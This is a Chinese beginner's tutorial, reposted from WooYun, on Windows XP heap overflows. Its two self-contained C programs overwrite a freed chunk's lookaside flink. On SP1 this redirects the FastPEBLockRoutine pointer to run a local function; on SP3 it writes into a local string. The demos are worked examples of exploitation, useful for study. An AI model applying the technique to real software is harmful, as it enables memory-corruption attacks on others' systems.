<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/1621

                    0x00 概述


                    本文從程序實例出發,展示了XP SP1下的堆溢出+代碼執行,XP SP3下的堆溢出+內存任意寫,主要面向{已經掌握緩沖區溢出原理,希望進一步了解堆溢出原理的初學者}、{就是想找個堆溢出例子跑一遍的安全愛好者}以及{跑不通各種堆溢出書籍示例代碼、非得跑通代碼才看的進去書的搜索者}

                    本筆記參考自:http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/

                    代碼有較多改動,終于跑通了,并且試著簡單地利用了一下。

                    按照代碼閱讀者視角 整理了講解思路。

                    筆記只供初學者參考,并非嚴肅探討堆溢出細節問題,若有不當之處懇請各位指正。

                    0x01 測試代碼環境


                    虛擬機:  VirtualBox
                    操作系統:  Windows XP  sp1
                    編譯器:   VC++ 6.0
                    調試工具:  看雪OllyICE
                    

                    其中,Windows XP 只能是sp1,因為sp2之后需要繞過其溢出保護機制 會使文章更加復雜。

                    如果您想要尋找xp sp3 下的內存任意寫實例,請跳轉0x09。

                    0x02 測試代碼步驟


                    安裝Windows XP sp1 注意,網上有很多sp2 不知什么目的寫成是sp1,下面是真正的sp1 http://pan.baidu.com/share/link?shareid=371613660&uk=1865555701&fid=2361791550

                    下載VC++ 6.0 綠色版 http://pan.baidu.com/s/1kTLqYnd 解壓后運行sin.bat

                    下載代碼工程 http://pan.baidu.com/s/1kT5HRNp

                    或者拷貝文中代碼 自己新建工程

                    #!cpp
                    /*
                            Overwriting a chunk on the lookaside example
                    */
                    #include <stdio.h>
                    #include <windows.h>
                    
                    void print()
                    {
                        printf("\nHello\n");
                    }
                    
                    int main(int argc,char *argv[])
                    {
                            char *a,*b,*c;
                            long *hHeap;
                            char buf[10];
                    
                            printf("----------------------------\n");
                            printf("Overwrite a chunk on the lookaside\n");
                            printf("Heap demonstration\n");
                            printf("----------------------------\n");
                    
                            // create the heap
                            hHeap = HeapCreate(0x00040000,0,0);
                            printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
                            printf("(+) Allocating chunk A\n");
                    
                            // allocate the first chunk of size N (<0x3F8 bytes)
                            a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                            printf("(+) Allocating chunk B\n");
                    
                            // allocate the second chunk of size N (<0x3F8 bytes)
                            b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    
                            printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
                            printf("(+) Freeing chunk B to the lookaside\n");
                    
                            // Freeing of chunk B: the chunk gets referenced to the lookaside list
                            HeapFree(hHeap,0,b);
                    
                            // set software bp
                            //__asm__("int $0x3");
                    
                            printf("(+) Now overflow chunk A:\n");
                    
                            // The overflow occurs in chunk A: we can manipulate chunk B's Flink
                            // PEB lock routine for testing purposes
                            // 16 bytes for size, 8 bytes for header and 4 bytes for the flink
                    
                            strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
                            // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
                    
                            //gets(a);
                    
                            // set software bp
                            //__asm__("int $0x3");
                    
                            printf("(+) Allocating chunk B\n");
                    
                            // A chunk of block size N is allocated (C). Our fake pointer is returned
                            // from the lookaside list.
                            b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                            printf("(+) Allocating chunk C\n");
                    
                            // set software bp
                            //    __asm__("int $0x3");
                    
                            // A second chunk of size N is allocated: our fake pointer is returned
                            c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    
                            printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
                    
                            // A copy operation from a controlled input to this buffer occurs: these
                            // bytes are written to our chosen location
                            // insert shellcode here
                    
                            printf("%x",print);
                            memcpy(c,"\x00\x10\x40\x00",4);
                            // set software bp
                            //_asm int 0x3;
                    
                            exit(0);
                     }
                    

                    編譯運行,運氣好的直接就能跑,不過一般會如下圖:

                    enter image description here

                    顯示為:401005(0x00401005),然后修改代碼中:

                    #!cpp
                    memcpy(c,"\x00\x10\x40\x00",4);
                    

                    改成

                    #!cpp
                    memcpy(c,"\x05\x10\x40\x00",4);     
                    

                    重新編譯運行即可,成功后如下圖:

                    enter image description here

                    然后就可以開始正文了。

                    0x03 溢出的位置


                    之前我們給a從堆里分配了0x10即16個字節的空間

                    #!cpp
                    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    

                    因此

                    #!cpp
                    strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
                    

                    發生了溢出。

                    0x04 溢出前發生了什么


                    #!cpp
                    HeapFree(hHeap,0,b);
                    

                    把b free掉,然后b就會被放到lookaside list備用。

                    0x05 溢出后覆蓋了什么


                    覆蓋了b的freelist chunk結構。

                    (AAAABBBB覆蓋了Headers,然后\x20\xf0\xfd\x7f覆蓋的是flink)

                    enter image description here

                    0x06 溢出后發生了什么


                    #!cpp
                     printf("(+) Allocating chunk B\n");
                    
                    // A chunk of block size N is allocated (C). Our fake pointer is returned
                    // from the lookaside list.
                     b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                     printf("(+) Allocating chunk C\n");
                    
                    // set software bp
                    //    __asm__("int $0x3");
                    
                    // A second chunk of size N is allocated: our fake pointer is returned
                    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    
                    printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
                    

                    先是從lookaside取回b (flink已經被覆蓋了),然后再去分配c ,于是c被分配到了b的flink即我們的虛假指針處,之后就可以實現內存任意寫了(寫進c的內容就是寫進虛假指針)

                    0x07 虛假指針指向什么地方


                    0x7FFDF000 指向 FastPEBLockRoutine() 地址指針 (XP SP1) 我們覆蓋這個地址,這樣一旦觸發異常,就會去call 這個地址。

                    然后我們把print函數地址寫進去,于是就會去執行print函數(顯示Hello,Hello上面打印的是print函數的地址)

                    0x08 為什么非要XP SP1才能運行以上代碼


                    因為SP1里面FastPEBLockRoutine()的地址是固定的,而SP2以后版本會隨機

                    0x09 我就是要在XP SP3下跑代碼,我不想下載SP1


                    那就用如下代碼吧,不過就沒法FastPEBLockRoutine()隨意call 了

                    #!cpp
                    /*
                            Overwriting a chunk on the lookaside example
                    */
                    #include <stdio.h>
                    #include <windows.h>
                    
                    int main(int argc,char *argv[])
                    {
                            char str[]="\nHello123456789213456789\n";
                    
                    
                            char *a,*b,*c;
                            long *hHeap;
                            char buf[10];
                    
                            printf("----------------------------\n");
                            printf("Overwrite a chunk on the lookaside\n");
                            printf("Heap demonstration\n");
                            printf("----------------------------\n");
                    
                            // create the heap
                            hHeap = HeapCreate(0x00040000,0,0);
                            printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
                            printf("(+) Allocating chunk A\n");
                    
                            // allocate the first chunk of size N (<0x3F8 bytes)
                            a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                            printf("(+) Allocating chunk B\n");
                    
                            // allocate the second chunk of size N (<0x3F8 bytes)
                            b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    
                            printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
                            printf("(+) Freeing chunk B to the lookaside\n");
                    
                            // Freeing of chunk B: the chunk gets referenced to the lookaside list
                            HeapFree(hHeap,0,b);
                    
                            // set software bp
                            //__asm__("int $0x3");
                    
                            printf("(+) Now overflow chunk A:\n");
                    
                            // The overflow occurs in chunk A: we can manipulate chunk B's Flink
                            // PEB lock routine for testing purposes
                            // 16 bytes for size, 8 bytes for header and 4 bytes for the flink
                    
                            printf("%x\n",str);
                            printf(str);
                            memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
                            // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");0x71ac4050
                    
                            //gets(a);
                    
                            // set software bp
                            //__asm__("int $0x3");
                    
                            printf("(+) Allocating chunk B\n");
                    
                            // A chunk of block size N is allocated (C). Our fake pointer is returned
                            // from the lookaside list.
                            b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                            printf("(+) Allocating chunk C\n");
                    
                            // set software bp
                            //    __asm__("int $0x3");
                    
                            // A second chunk of size N is allocated: our fake pointer is returned
                            c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    
                            printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
                    
                            // A copy operation from a controlled input to this buffer occurs: these
                            // bytes are written to our chosen location
                            // insert shellcode here
                            strcpy(c,"AAAAAAAAAAAA\n");
                            printf(str);
                            // set software bp
                            //_asm int 0x3;
                    
                            exit(0);
                     }
                    

                    也許一遍就能跑通,但是一般來說還是像下面一樣

                    enter image description here

                    老規矩,自己改代碼(圖中12ff64)0x0012ff64

                    #!cpp
                    memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
                    

                    注意里面有\x00,所以我換用memcpy了,成功后如下圖

                    enter image description here

                    那么,這段代碼展示的實際上是內存任意寫(沒有call anycode的利用),只是把任意內容寫到了str里面,即free(b),再用str地址覆蓋b的flink,然后取回b,然后分配c,c被分配到了str地址,然后向c里面寫AAAAAAA,然后就寫進str里面了。

                    0x0A 結語


                    個人觀點:盡管看到這里讀者仍然只是似懂非懂地{大致了解堆溢出的原理和過程},但是起碼有了一個基本的概念,對以后深入研究其機理 奠定了興趣基礎,并且對于{只是好奇的愛好者}來說,涉獵這些也就夠了。

                    建議有興趣的朋友們去看看heap-overflows-for-humans-102 原文,里面有很多基礎概念的講解,本筆記僅為學習時的記錄,并非嚴肅翻譯原文。

                    0x0B reference


                    http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/

                    注:本文代碼基于此文章修改,改動較大。

                    《C和C++安全編碼》

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频